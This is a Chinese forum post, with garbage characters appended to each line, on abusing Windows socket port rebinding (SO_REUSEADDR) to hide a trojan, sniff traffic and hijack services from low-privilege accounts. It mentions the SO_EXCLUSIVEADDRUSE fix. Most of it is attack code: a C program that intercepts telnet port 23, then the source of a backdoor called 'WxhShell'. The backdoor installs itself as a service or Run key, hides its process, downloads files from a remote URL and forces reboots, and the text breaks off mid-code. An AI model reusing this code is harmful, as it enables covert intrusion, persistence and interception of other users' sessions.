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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4yV}4f$q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JQP7>W  
Du k v[/60  
  saddr.sin_family = AF_INET; P sij*%I4  
%G1kkcdH<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;?"]S/16,  
g""1f%U_p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t7pe)i,)  
x6d+`4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Wf^6:  
IP~*_R"bM  
  这意味着什么?意味着可以进行如下的攻击: FaYDa  
YDE;mIW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?B.>VnYZ/a  
f7c%Z:C#Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) UIc )]k%  
7%) F]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L=nyloz,0  
hg_@Ui@[z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PJA%aRP,:  
"q5Tw+KCfu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #]>Z4=]v  
`?+lM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2fM*6CaS  
I?}YS-2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 . Xn w@\k'  
PzbLbH8A  
  #include :QT0[P5O  
  #include 7SOi9JU_  
  #include NI_.wB{  
  #include    ,_?P[~1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $Zf hQ5bat  
  int main() pT\>kqmj  
  { Y -%g5  
  WORD wVersionRequested; 't'~p#$,F  
  DWORD ret; lArYlR }  
  WSADATA wsaData; 3@P 2]Q~D  
  BOOL val; MA1.I4dm  
  SOCKADDR_IN saddr; <\l@`x96"D  
  SOCKADDR_IN scaddr; ^EY^.?Mg  
  int err; <2@V$$Qg.~  
  SOCKET s; <RH2G   
  SOCKET sc; N) D;)ZH  
  int caddsize; 1 ;Bgtv$  
  HANDLE mt; P/uk]5H^  
  DWORD tid;   s|L}wtc  
  wVersionRequested = MAKEWORD( 2, 2 ); 8D7 = ]  
  err = WSAStartup( wVersionRequested, &wsaData ); 3~v' Ev  
  if ( err != 0 ) { d;1%Ei3K  
  printf("error!WSAStartup failed!\n"); y^pzqv  
  return -1; F*Lm=^:  
  } Plpt7Pa_  
  saddr.sin_family = AF_INET; d/oxRzk'L  
   !@j5yYf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x aiA2  
}Jfi"L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4mNg(w=NF  
  saddr.sin_port = htons(23); KtH-QQDluj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [AgS@^"sf5  
  { Z#w@ /!"}T  
  printf("error!socket failed!\n"); gYb}<[O!  
  return -1; zq\YZ:JC  
  } 7S+_eL^  
  val = TRUE; 5y3V duE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a?&{eMEe}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8:s" ^YLN  
  { ~m4{GzB  
  printf("error!setsockopt failed!\n"); 6XU1w  
  return -1; UOh % "h  
  } , H$1iJ?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +JQ/DNv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aN n\URR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9&(d2  
o \ss  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :f1Q0klwP  
  { i4"BN,NZ{  
  ret=GetLastError(); rO#WG}E<"  
  printf("error!bind failed!\n"); ^B)iBf Z  
  return -1; MBlh lMyI  
  } @&H Tt  
  listen(s,2); \jlem<&  
  while(1) YXe L7W  
  { %p?+r  
  caddsize = sizeof(scaddr); LRe2wT>I  
  //接受连接请求 f;";P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e}V3dC^pU  
  if(sc!=INVALID_SOCKET) =Yd{PZ*fR  
  { kTJz .  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A^\A^$|O6  
  if(mt==NULL) ~o"VZp  
  { j2\B(PA  
  printf("Thread Creat Failed!\n"); u7L!&/6On  
  break; 'x'.[=;  
  } QPL6cU$&R  
  } Rn] `_[)*~  
  CloseHandle(mt); 53vnON#{*  
  } S(bYN[U  
  closesocket(s); yWsJa)e3*@  
  WSACleanup(); A}./ ;[  
  return 0; (~}P.?C8  
  }   WX2:c,%:  
  DWORD WINAPI ClientThread(LPVOID lpParam) '!$g<= @  
  { QOb+6qy:3  
  SOCKET ss = (SOCKET)lpParam; ui _nvD:  
  SOCKET sc; V_)G=#6Dy  
  unsigned char buf[4096]; bLSZZfq  
  SOCKADDR_IN saddr;  _tl  
  long num; =1/d>kke  
  DWORD val; f=$w,^)M  
  DWORD ret; "t[9EbFL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fMGL1VN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n+ot. -  
  saddr.sin_family = AF_INET; 16;r+.FB'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qM~;Q6{v  
  saddr.sin_port = htons(23); U/9i'D[|{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~Bw)rf,  
  { 0[\^Y<ec  
  printf("error!socket failed!\n"); H NFG:t9  
  return -1; ,RP"m#l!\  
  } UG@9X/l}  
  val = 100; ?p&CR[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) . 5cL+G1k#  
  { nU^-D1s{  
  ret = GetLastError(); .m r& zq  
  return -1; %9^^X6yLM  
  } U,;a+z4\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z4&,KrV  
  { ! 06 !`LT  
  ret = GetLastError(); F!N D  
  return -1; -^R6U~  
  } \B72 # NR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g?TPRr~$9  
  { 0.MD_s0)>  
  printf("error!socket connect failed!\n"); 6\9 Zc-%  
  closesocket(sc); 7? 1[sPM  
  closesocket(ss); 2r zOh},RS  
  return -1; x6h';W_ 8  
  } Lo<-;;vQ  
  while(1) X-lB1uq^  
  { jyLE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 RWX?B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PU& v{gn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sxP1. = W  
  num = recv(ss,buf,4096,0); `FJ2 ?  
  if(num>0) &d%0[Ui`  
  send(sc,buf,num,0); $u ae8h  
  else if(num==0) ' F,.y6QU  
  break; > TKl`O  
  num = recv(sc,buf,4096,0); |.ZYY(}  
  if(num>0) I`% ]1{  
  send(ss,buf,num,0); .!oYIF*0zC  
  else if(num==0) x>ZnQ6x~m]  
  break; qk+RZ>T<o  
  } k <EzYh  
  closesocket(ss); p%ve1>c  
  closesocket(sc); /QgU!:e  
  return 0 ; 7o99@K,  
  } pHftz-RS!  
0 %W0vTvL  
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========================================================== ZUA%ZkX=F  
_aaQ1A`p  
下边附上一个代码,,WXhSHELL 4#MPD  
j#f7-nHyz8  
========================================================== C"gH>G  
J#/L}h;qH  
#include "stdafx.h" ;^"#3_7T]  
FD1Z}v!5IJ  
#include <stdio.h> cns~)j~  
#include <string.h> m4m,-}KNi  
#include <windows.h> ^*$lCUv8p  
#include <winsock2.h> &{R]v/{p]  
#include <winsvc.h> (fTi1 I!  
#include <urlmon.h> ,q".d =6  
`Lr I^9Z  
#pragma comment (lib, "Ws2_32.lib") jE#&u DfI  
#pragma comment (lib, "urlmon.lib") &*\-4)Tf  
\'>8 (i~  
#define MAX_USER   100 // 最大客户端连接数 Py! F  
#define BUF_SOCK   200 // sock buffer d1{%z\u a  
#define KEY_BUFF   255 // 输入 buffer Y+ Qm.  
.1q4Q\B<  
#define REBOOT     0   // 重启 z0F'zN 3J  
#define SHUTDOWN   1   // 关机 {[[j.)  
aGx[?}=  
#define DEF_PORT   5000 // 监听端口 &2Q0ii#Aa  
~USU\dni  
#define REG_LEN     16   // 注册表键长度 vw'BKi F  
#define SVC_LEN     80   // NT服务名长度 tB<2mjg  
+8zC ol?j  
// 从dll定义API scZSnCrR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 66Tx>c"H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7,!$lT#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h+ggrwg'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V.?Oly  
BIn7<.&  
// wxhshell配置信息 Cu,#w3JR  
struct WSCFG { 7.!`c-8 u  
  int ws_port;         // 监听端口 VUbg{Rb)  
  char ws_passstr[REG_LEN]; // 口令 q)F@f /  
  int ws_autoins;       // 安装标记, 1=yes 0=no <], ~V\m  
  char ws_regname[REG_LEN]; // 注册表键名 5n#@,V.O/  
  char ws_svcname[REG_LEN]; // 服务名 :L&d>Ii|'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B.ar!*X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QZO9CLX 8k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SJd,l,Gg)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vbMt}bM(GD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O @)D%*;v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eI:;l];G9  
c%O8h  
}; 24 L =v  
`ZLA=oD  
// default Wxhshell configuration :dM eNM-  
struct WSCFG wscfg={DEF_PORT, Xt%>XP  
    "xuhuanlingzhe", ZL^ svGy  
    1, BSc5@;  
    "Wxhshell", QBwgI>zfS"  
    "Wxhshell", =zX A0%  
            "WxhShell Service", -A3>+G3[  
    "Wrsky Windows CmdShell Service", <7X6ULQ  
    "Please Input Your Password: ", l99{eD  
  1, LE>b_gQ$ 2  
  "http://www.wrsky.com/wxhshell.exe", ge@KopZ&  
  "Wxhshell.exe" +^tw@b  
    }; "U6:z M  
*(*3/P4D  
// 消息定义模块 Vv<Tjr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xJ[Xmre  
char *msg_ws_prompt="\n\r? for help\n\r#>"; - )brq3L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k2t#O%_f  
char *msg_ws_ext="\n\rExit."; Im0#_ \  
char *msg_ws_end="\n\rQuit."; J[7|Ul1 <  
char *msg_ws_boot="\n\rReboot...";  ET:B"  
char *msg_ws_poff="\n\rShutdown..."; ?=^ M(TA;  
char *msg_ws_down="\n\rSave to "; 0oU;Cmw.  
<-%OXEG  
char *msg_ws_err="\n\rErr!"; C?47v4n-'  
char *msg_ws_ok="\n\rOK!"; 1~_&XNb&  
W%.ou\GN^t  
char ExeFile[MAX_PATH]; " +n\0j;  
int nUser = 0; >~)IsQ*%  
HANDLE handles[MAX_USER]; SPEDN}/^  
int OsIsNt; * U#@M3g.  
 d(>  
SERVICE_STATUS       serviceStatus; 5Z@~d'D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /`"&n1  
DTi\ 4&41  
// 函数声明 e|&}{JP{[  
int Install(void); wO&2S-;_K  
int Uninstall(void); f:6%DT~a&C  
int DownloadFile(char *sURL, SOCKET wsh); TP-<Lhy  
int Boot(int flag); <6L=% \X{*  
void HideProc(void); ' +*,|;?  
int GetOsVer(void); F')fi0=  
int Wxhshell(SOCKET wsl); klqN9d9k  
void TalkWithClient(void *cs); D3i`ehh  
int CmdShell(SOCKET sock); pS C5$a(  
int StartFromService(void); R]8^ @i1  
int StartWxhshell(LPSTR lpCmdLine); LG6k KG  
~~D =Z#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WI+ 5x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3$hbb6N%6.  
! !9l@  
// 数据结构和表定义 fL7u419=  
SERVICE_TABLE_ENTRY DispatchTable[] = 7=gv4arRwt  
{ :(o6^%x  
{wscfg.ws_svcname, NTServiceMain}, ^3:y<{J  
{NULL, NULL} Q[U_ 0O,A9  
}; yk<$XNc  
_/iw=-T  
// 自我安装 G>q16nS~KP  
int Install(void) YEB@p.  
{ <y30t[.E6  
  char svExeFile[MAX_PATH]; [Q+qu>&HB7  
  HKEY key; _a e&@s1  
  strcpy(svExeFile,ExeFile); y_Tc$g~  
}CyS_Tc  
// 如果是win9x系统,修改注册表设为自启动 01P ~K|s  
if(!OsIsNt) { :y!%GJW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &D[pX|!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H^e0fm  
  RegCloseKey(key); %^C.e*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4\6-sL?rW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qn*a#]p  
  RegCloseKey(key); d'yA"b]  
  return 0; m<cvx3e  
    } Wveba)"$  
  } 3nJd0E  
} v-J9N(y"  
else { +-B`Fya  
RXj6L~vs5_  
// 如果是NT以上系统,安装为系统服务 {#c* *' 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >nnjL rI  
if (schSCManager!=0) /0J1_g  
{ ZPISclSA+  
  SC_HANDLE schService = CreateService vj23j[!|  
  ( N{$'-[  
  schSCManager, # XD-a  
  wscfg.ws_svcname, Jrkj foN  
  wscfg.ws_svcdisp, N2~q\BqA  
  SERVICE_ALL_ACCESS, 4&+;n[D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J}035  
  SERVICE_AUTO_START, 0{ O|o_  
  SERVICE_ERROR_NORMAL, DjX*2O  
  svExeFile, ]757oAXl  
  NULL, s] X]jfA.  
  NULL, | Ts0h?"a  
  NULL, mu(EmAoenQ  
  NULL, V|h/a\P  
  NULL {Y%X  
  ); &$vW  
  if (schService!=0) `Xbk2KD p  
  { #h 4`f  
  CloseServiceHandle(schService); f8DF>]WW  
  CloseServiceHandle(schSCManager); )cMW,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #\[((y:q  
  strcat(svExeFile,wscfg.ws_svcname); :PrQ]ss@C5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  !lf:x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `+!GoXI  
  RegCloseKey(key); l1|z; $_z  
  return 0; SX{6L(  
    } H nRd  
  } Ng6(2Wt0e  
  CloseServiceHandle(schSCManager); ZjE!? '(ef  
} "))G|+tz  
} ;btH[a iV  
u= |hRTD=  
return 1; 31n5n  
} dJhT}"x  
M. Fu>Xi  
// 自我卸载 *CA7 {2CX  
int Uninstall(void) uM8YY[b  
{ w/KCu W<  
  HKEY key;  !,*#e  
2/9P&c-rp  
if(!OsIsNt) { kQR kby  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rmCrP(  
  RegDeleteValue(key,wscfg.ws_regname); x+}6qfc$9k  
  RegCloseKey(key); ^oFg5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L`yyn/2>  
  RegDeleteValue(key,wscfg.ws_regname); U20G{%%  
  RegCloseKey(key); V}#2pP  
  return 0; 3f`+ -&|M  
  } "tga FtC=w  
} g+ik`q(ge  
} )+[{MR '  
else { Wmp,,H  
$vS`w4Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H1PW/AW  
if (schSCManager!=0) #'Q_eBX  
{ `}s$cgEG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Bv^{|w  
  if (schService!=0) Rx$5#K!%M  
  { 4c2*)x$@  
  if(DeleteService(schService)!=0) { Go}C{(4T  
  CloseServiceHandle(schService); ;r[@;2p*(  
  CloseServiceHandle(schSCManager); =Tf uwhV  
  return 0; q%=`PCty  
  } m8F-#?~  
  CloseServiceHandle(schService); N\IdZX%u  
  } zof>S>5>R7  
  CloseServiceHandle(schSCManager); klG]PUzd  
} L;=<d  
} ~y+QL{P4~  
+_gPZFpbx  
return 1; uj$b/I>.'  
} 3QDz0ct  
@|xcrEnP}B  
// 从指定url下载文件 zrjqB3R4@O  
int DownloadFile(char *sURL, SOCKET wsh) (5%OAjW  
{ d%Zt]1$  
  HRESULT hr; vcsi @!   
char seps[]= "/"; CUB=T]  
char *token; {~a=aOS  
char *file; !Y3w]_x[:  
char myURL[MAX_PATH]; NZ/>nNs  
char myFILE[MAX_PATH]; B*A{@)_  
oc,a  
strcpy(myURL,sURL); 83UIH0(  
  token=strtok(myURL,seps); _dY6Ip%  
  while(token!=NULL) y&NO[  
  { N3Ub|$}q  
    file=token; AD4KoT&  
  token=strtok(NULL,seps); S(jbPQT  
  } S,LW/:,  
yz!j9pJ  
GetCurrentDirectory(MAX_PATH,myFILE); MoN;t;  
strcat(myFILE, "\\"); Y!9'Wf/^  
strcat(myFILE, file); Vd[[<  
  send(wsh,myFILE,strlen(myFILE),0); ba^cw}5  
send(wsh,"...",3,0); -tWkN^j8+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `#hdb=3  
  if(hr==S_OK) D^To:N 7U  
return 0; X62h7?'Pd  
else yzt6   
return 1; T_O\L[]p*  
+rbj%v}Fh  
} ++-\^'&1  
2-i>ymoOS  
// 系统电源模块 CF3Z`xD  
int Boot(int flag) ?fDF Rms  
{ bS _!KU  
  HANDLE hToken; LbDhPG`u  
  TOKEN_PRIVILEGES tkp; $Ml/=\EHOg  
E_]L8UC;m  
  if(OsIsNt) { FMB\$(g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .w^M?}dx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 306C_ M\$  
    tkp.PrivilegeCount = 1; A.m#wY8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E~]8>U?V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XX",&cp02V  
if(flag==REBOOT) { Y[9x\6 _E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <#JJS}TLk  
  return 0; a0OH  
} wxEFM)zr  
else { 9VdVom|e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O.CRF-` t  
  return 0; ?as)vYP  
} /o#!9H   
  } HJ]\VP9Zb  
  else { $}r*WZ  
if(flag==REBOOT) { Oz!#);v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n.p6+^ES  
  return 0; ZurQr}  
} B\A2Vm`&  
else { IF%^H K@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I{AteL  
  return 0; Ath^UKO"  
} Ha9A5Ao}0  
} C,+6g/{  
6T0E'kv S  
return 1; X64OX9:YF  
} h7<Zkf  
R:kNAtK  
// win9x进程隐藏模块 \^vf`-uG  
void HideProc(void) M@fUZh  
{ kVE% "  
?#ue:O1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); My0h9'K  
  if ( hKernel != NULL ) }2-<}m9}  
  { nw[DI %Tp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J Sz'oA5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IO~d.Ra  
    FreeLibrary(hKernel); Rq~\Yf+Pm  
  } ork/:y9*y  
V`?2g_4N  
return; 4Waot  
} ?#idmb}(  
gE%{#&*  
// 获取操作系统版本 rMAH YH9  
int GetOsVer(void) betN-n-  
{ epp ;~(xr  
  OSVERSIONINFO winfo; @54,I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LyO, ]  
  GetVersionEx(&winfo); 2GQ q(_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;xaOve;9  
  return 1; Vc|r(lM  
  else de]r9$ D  
  return 0; mcAg,~"HB  
} 4mSL*1j  
w_|R.T\7  
// 客户端句柄模块 C-4NiXa  
int Wxhshell(SOCKET wsl) 'jWd7w~(  
{ 0 ;kcSz  
  SOCKET wsh; n~N>c*p  
  struct sockaddr_in client; c(Zar&z,E  
  DWORD myID; TtEc~m  
wOQ-sp0q0  
  while(nUser<MAX_USER) 6=o@X  
{ ^G%Bj`%  
  int nSize=sizeof(client); D ODo !  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nB2AmS  
  if(wsh==INVALID_SOCKET) return 1; ZK<kn8JJ  
Q/r0p>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9'F-D  
if(handles[nUser]==0) 5g  ,u\`  
  closesocket(wsh); %\PnsnJ9Q  
else c7T9kV 8hS  
  nUser++; GgkljF@{}  
  } <cG .V |B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); INSI$tA~  
-dbD&8  
  return 0; 'SF+P)Kmz  
} (.\GI D+i  
7cin?Z1  
// 关闭 socket  9],;i7c  
void CloseIt(SOCKET wsh) ?Z%Ja_}8ma  
{ )\_xB_K\  
closesocket(wsh); (;YO]U4  
nUser--; x][vd^iW  
ExitThread(0); Vt{C80n&N  
} rm2"pfs  
Jhu<^pjs  
// 客户端请求句柄 6dTq&GZ\  
void TalkWithClient(void *cs) 'Ht$LqG  
{ q:sDNj)R\  
P{mV  
  SOCKET wsh=(SOCKET)cs; K;;Q*NN-  
  char pwd[SVC_LEN]; ])h={gI  
  char cmd[KEY_BUFF]; [^t"Hf  
char chr[1]; 9PhdoREb  
int i,j; 1) V,>)Ak  
\V`O-wcJ]S  
  while (nUser < MAX_USER) { Yf Udpa0  
pHFlO!#]|  
if(wscfg.ws_passstr) { awuUaE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KTxdZt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ga~N7  
  //ZeroMemory(pwd,KEY_BUFF); SPW @TF1  
      i=0; ;>[).fX>/  
  while(i<SVC_LEN) { hABC rd Em  
f ^mxj/%L  
  // 设置超时 |o~<Ti6]  
  fd_set FdRead; nMc3.fM  
  struct timeval TimeOut; uHBX}WH  
  FD_ZERO(&FdRead); ie^:PcU  
  FD_SET(wsh,&FdRead); J]ivIQ  
  TimeOut.tv_sec=8; 0X+Jj/-ge  
  TimeOut.tv_usec=0; 'dM &~L SQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,R0@`t1 p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k6rX/ocu  
6"WR}S0o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #{7=  
  pwd=chr[0]; JGt4B  
  if(chr[0]==0xd || chr[0]==0xa) { hZI9*= `,"  
  pwd=0; M]!\X6<_  
  break; !Jb?r SJ.h  
  } kac@yQD  
  i++; YD2M<.U  
    } &w:"e'FG`  
N'Va&"&73>  
  // 如果是非法用户,关闭 socket ,0[8/)$M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cca( oV  
}  1JgnuBX"  
7M}T^LC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i:OD)l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2N)=fBF%-  
z_!P0`  
while(1) { :BCjt@K}  
yXY8 o E  
  ZeroMemory(cmd,KEY_BUFF); hU5[k/ q  
}txHuq1Q.  
      // 自动支持客户端 telnet标准   .{HU1/!  
  j=0; ;3Fgy8 T  
  while(j<KEY_BUFF) { *rp@`W5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k]Y+C@g  
  cmd[j]=chr[0]; g]iWD;61  
  if(chr[0]==0xa || chr[0]==0xd) { &bh?jW  
  cmd[j]=0; T*\'G6e  
  break; gd.P%KC!g  
  } X1:|   
  j++; _]1dm)%  
    } - ,q&Zm  
eznw05U  
  // 下载文件 *Au4q<   
  if(strstr(cmd,"http://")) { 82Nh;5T r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W5$jIQ}Bw  
  if(DownloadFile(cmd,wsh)) M]jzbJ3Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RmO-".$yt  
  else wGd8q xa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9/D+6hJ]:  
  } ho#] ?Z#  
  else { EU ThH.  
Ee9u7TFT  
    switch(cmd[0]) { s ZkQJ->  
  #g4X`AHB  
  // 帮助 CcgCKT  
  case '?': { dSsMa3X[n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g-oHu8   
    break; Vj0`*nC)/  
  } qOZe\<.V<  
  // 安装 -:pLlN-f  
  case 'i': { |=l;UqB  
    if(Install()) D!J ("~[3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e.\d7_T+  
    else vrGRZa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fcr\XCG7U  
    break; M=26@ n  
    } (BMFGyE3  
  // 卸载 M<"&$qZ$R  
  case 'r': { p8[Z/]p  
    if(Uninstall()) qQ/j+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bY+Hf\A  
    else W: cOzJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sq-mH=rs]  
    break; /V46:`V  
    }  s4;SA  
  // 显示 wxhshell 所在路径 Z?G-~3]e  
  case 'p': { H ~J#!3  
    char svExeFile[MAX_PATH]; B2 Tp;)  
    strcpy(svExeFile,"\n\r"); TTmNPp4q  
      strcat(svExeFile,ExeFile); /0!6;PC<  
        send(wsh,svExeFile,strlen(svExeFile),0); ~( -B%Az  
    break; 6~&4>2b0f  
    } pUYa1=  
  // 重启 ~ ${. sD\  
  case 'b': { +x-n,!(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f`RcfYt  
    if(Boot(REBOOT)) i~ n>dc YW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]|Vm*zO  
    else { fJd!;ur)0  
    closesocket(wsh); FX+Ra@I!  
    ExitThread(0);  PZf^r  
    } M!,$i  
    break; _E:]qv  
    } [FAoC3 k-h  
  // 关机 bMxzJRrNg  
  case 'd': { K {!eHTU  
